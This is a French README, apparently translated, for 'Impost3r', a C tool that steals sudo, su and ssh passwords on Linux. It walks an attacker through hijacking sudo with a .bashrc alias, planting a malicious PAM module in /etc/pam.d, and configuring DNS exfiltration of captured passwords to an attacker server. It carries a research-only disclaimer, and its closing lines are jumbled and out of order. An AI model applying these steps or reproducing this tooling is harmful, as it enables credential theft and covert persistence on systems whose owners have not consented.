
👻Impost3r -- Un voleur de mots de passe linux

Impost3r est un outil écrit en langage C, utilisé pour voler divers mots de passe (ssh, su, sudo) sous Linux.
Les utilisateurs peuvent utiliser ce programme pour créer un trou d'eau et voler les mots de passe des utilisateurs légitimes.
Cet outil est limité à la recherche en sécurité et à l'enseignement. L'utilisateur assume toutes les responsabilités légales et connexes résultant de l'utilisation de cet outil ! L'auteur n'assume aucune responsabilité légale ou connexe !
Impost3r peut être utilisé pour voler les mots de passe des services sudo, su et ssh. Ces trois services peuvent être globalement divisés en deux catégories : sudo et ssh/su. Les deux cas sont discutés ci-dessous.
Seule une autorisation d'utilisateur ordinaire est nécessaire, pas forcément root, mais seul le mot de passe de l'utilisateur correspondant peut être volé, pas celui des autres utilisateurs.
Supposons d'abord que l'attaquant contrôle un serveur avec les droits d'un utilisateur ordinaire.
Vérifiez si le fichier .bash_profile existe dans le répertoire personnel. Si .bash_profile existe : vérifiez si .bashrc est chargé activement dans le fichier .bash_profile. Si c'est le cas, sautez cette étape et les deux étapes suivantes, et continuez. Si ce n'est pas le cas, sautez les deux étapes suivantes, et toutes les opérations ci-dessous concernant .bashrc seront remplacées par des opérations concernant .bash_profile !!! ; Si .bash_profile n'existe pas : passez à l'étape suivante.
Vérifiez si le fichier .bash_login existe dans le répertoire personnel. Si .bash_login existe : vérifiez si .bashrc est chargé activement dans le fichier .bash_login. Si c'est le cas, sautez cette étape et l'étape suivante, et continuez. Si ce n'est pas le cas, sautez l'étape suivante, et ; Si n'existe pas : passez à l'étape suivante.
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Copiez le fichier .bashrc de l'utilisateur : cp ~/.bashrc /tmp/ et placez cette copie dans un chemin personnalisé par l'attaquant (dans cet exemple, placé dans /tmp/, l'attaquant peut le modifier).
Modifiez le fichier .bashrc dans le répertoire personnel de l'utilisateur (~/.bashrc) et ajoutez la ligne suivante à la fin (où "/tmp/.impost3r" doit correspondre au FILENAME ci-dessous) :
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
Après l'ajout, sauvegardez le fichier et exécutez source ~/.bashrc.
Ensuite, l'attaquant doit modifier le code source d'Impost3r /sudo/main.h :
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_ORI_FILENAME ".bashrc" \\表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\表明攻击者所备份的源用户配置文件在目标服务器上的位置
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Après modification, sauvegardez et exécutez make dans le répertoire actuel.
Obtenez le fichier compilé .impost3r dans le répertoire actuel.
Téléchargez le fichier .impost3r dans le dossier /tmp/ du serveur cible (exemple uniquement, peut être modifié, il suffit qu'il corresponde à la définition dans le code source).
L'attaquant démarre le programme serveur DNS sur son propre serveur et attend qu'un utilisateur légitime utilise sudo pour obtenir le mot de passe.
sudo -v pour vérifier si l'utilisateur actuel appartient au groupe sudoer. Sinon, n'utilisez pas Impost3r.Le vol du mot de passe ssh/su est différent de la méthode de vol du mot de passe sudo ci-dessus. Il nécessite les privilèges root et permet de voler le mot de passe de n'importe quel utilisateur.
L'exemple ci-dessous utilise Ubuntu, Centos est similaire, les fichiers utilisés et les méthodes de modification peuvent différer.
/ssh_su/main.h d'Impost3r :/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别)
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效)
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效)
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Après modification, sauvegardez et exécutez make dans le répertoire actuel.
Obtenez le fichier compilé impost3r.so.
Téléchargez le fichier impost3r.so compilé dans /lib/x86_64-linux-gnu/security de la machine cible (le nom du dossier peut varier selon la machine, placez-le selon le cas).
Accédez à /etc/pam.d. Il y a deux cas : si le mode choisi est uniquement le vol du mot de passe ssh, alors exécutez vi sshd et ajoutez les instructions suivantes à la fin du fichier (notez que sur les autres systèmes basés sur Linux, ce fichier peut être très différent de celui d'Ubuntu, il est recommandé de comprendre les règles avant d'ajouter à l'endroit approprié) :
auth optional impost3r.so
account optional impost3r.so
Sauvegardez et quittez, redémarrez le service sshd avec service sshd restart.
Si vous choisissez de voler à la fois les mots de passe ssh et su, exécutez vi common-auth, ajoutez les mêmes instructions, sauvegardez, quittez et redémarrez également le service sshd.
L'attaquant démarre le programme serveur DNS sur son propre serveur et attend qu'un utilisateur légitime se connecte à la machine cible via ssh ou utilise su pour changer d'utilisateur, afin d'obtenir le mot de passe.
PermitEmptyPasswords yes. Si c'est vide, pourquoi voler ?).gcc -o dns main.c util.c (notez qu'il faut d'abord modifier le port d'écoute dans main.c).YOUR_DOMAIN dans util.h pour vous assurer qu'elle correspond à la valeur YOUR_DOMAIN utilisée lors de la compilation du programme Impost3r sur le serveur cible, sinon le vol pourrait échouer..bashrc seront remplacées par des opérations concernant .bash_login !!!.bash_loginVérifiez si le fichier .profile existe dans le répertoire personnel. Si .profile existe : vérifiez si .bashrc est chargé activement dans le fichier .profile (par défaut, il l'est). Si c'est le cas, sautez cette étape et continuez. Si ce n'est pas le cas, toutes les opérations ci-dessous concernant .bashrc seront remplacées par des opérations concernant .profile !!! ; Si .profile n'existe pas non plus, en principe Impost3r ne pourra pas être utilisé. Vous pouvez toutefois décider de créer un fichier .bash_profile ou .profile et y écrire un code de chargement similaire à celui ci-dessous pour charger .bashrc :